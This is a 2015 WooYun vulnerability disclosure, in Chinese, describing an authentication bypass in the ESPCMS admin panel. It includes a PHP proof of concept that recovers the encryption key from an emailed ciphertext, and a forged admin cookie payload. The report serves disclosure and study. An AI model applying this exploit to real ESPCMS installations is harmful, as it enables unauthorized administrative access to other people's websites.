当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(17) 关注此漏洞

缺陷编号: WooYun-2015-136897

漏洞标题: ESPCMS的最新版后台登入绕过

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: 路人甲

提交时间: 2015-08-31 16:45

公开时间: 2015-12-04 16:47

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-31: 细节已通知厂商并且等待厂商处理中
2015-09-05: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-10-30: 细节向核心白帽子及相关领域专家公开
2015-11-09: 细节向普通白帽子公开
2015-11-19: 细节向实习白帽子公开
2015-12-04: 细节向公众公开

简要描述:

8.25
V6.4.15.08.25
捡漏

详细说明:

在加密算法那 ,一般情况下我们是不能再还原出key了。

他加了这么一段代码

code 区域
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
if (extension_loaded('mcrypt') && $mcrype) {
$result = $this->encryptCookie($string, $key);
} else {......



調用的是php自带的 加密函数。



看到有人提交过 这个 http://**.**.**.**/bugs/wooyun-2010-098132

当 mcrype 为 false时 就能用以前的有漏洞的算法加密了。

全局搜索下

code 区域
, FALSE);

看看是否还有其他地方加密时 mcrype为false。



找到一处/public/class_connector.php

code 区域
function get_link($module = null, $read = array(), $lng_temp = '', $pagekey = 0, $patyclass = 0, $is_wap = 0) {
.......
switch ($module) {
......
case 'member_ucenter':
$username = $this->fun->eccode($read['username'], 'ENCODE', db_pscode, FALSE);
$password = $this->fun->eccode($read['password'], 'ENCODE', db_pscode, FALSE);
$link = "index.php?ac=member&at=uccheckuser&key=" . $username . '&code=' . $password;
break;



这里加密password 时 mcrype 是为 false的。

然后全局搜索下

code 区域
get_link('member_ucenter

看看那个文件調用了。

/interface/member.php

code 区域
function in_logindb() {
.........
else {
if ($rsMember['isclass'] == 2) {
$linkURL = $this->get_link('member_mailsend', $rsMember, admin_LNG);
$this->callmessage($this->lng['username_check'], $linkURL, $this->lng['checkemail_send'], 1, $this->lng['gobackbotton']);
}



是登入的一个地方。 我们前台注册用户, 然后登入时 会将 md5(password) 以 mcrype 为 false的形式发送到我们的注册邮箱。

因为 password 是我们可以控制的 所以可以还原出 key

-------

漏洞证明:

注册个用户 密码为 aaaaaa11

得到md5值 c683890bddd853417ba6fac6f2de5c4c

然后登入 查看邮箱,

111.png



得到加密后的值 填入 poc

code 区域
$text = "c683890bddd853417ba6fac6f2de5c4c"; 



$cookie = "nGxpbJmbacSVmpZslphsZ5mUkW6fxclqy2nGnpucbZk";



$bincookie = base64_decode($cookie);



for ($j=0; $j < strlen($text); $j++) {

echo chr( ord($bincookie[$j]) - ord($text[$j]) );

}



获取到 key后

22.png



再用 mcrype 为 true 的形式加密一次

code 区域
echo eccode('1|admin|a6b19ac665d2c7f570d931740788613d|1b1a9fe8dea603b93684d610b5808c02|1|1|ec3da02dc2712a9d1386a654155b6094','ENCODE','619ab9b1624ae86b2089df4e7b9f99',true);    //1|admin|md5(password)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)



添加cookie ecisp_admininfo 为加密后的值 就能登入后台了。

xx.jpg

修复方案:

加密的地方 全部搜索下 , false改为 true

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-12-04 16:47

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-08-31 16:52 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    0

    可怕的爷爷

  2. 2015-08-31 16:54 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    可怕的爷爷

  3. 2015-08-31 17:18 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    别以为你匿名了我就不知道你是谁了。

  4. 2015-08-31 21:58 | Elliott ( 实习白帽子 | Rank:48 漏洞数:11 | 绝逼不当程序员)
    0

    卧槽~~~~~~

登录后才能发表评论,请先 登录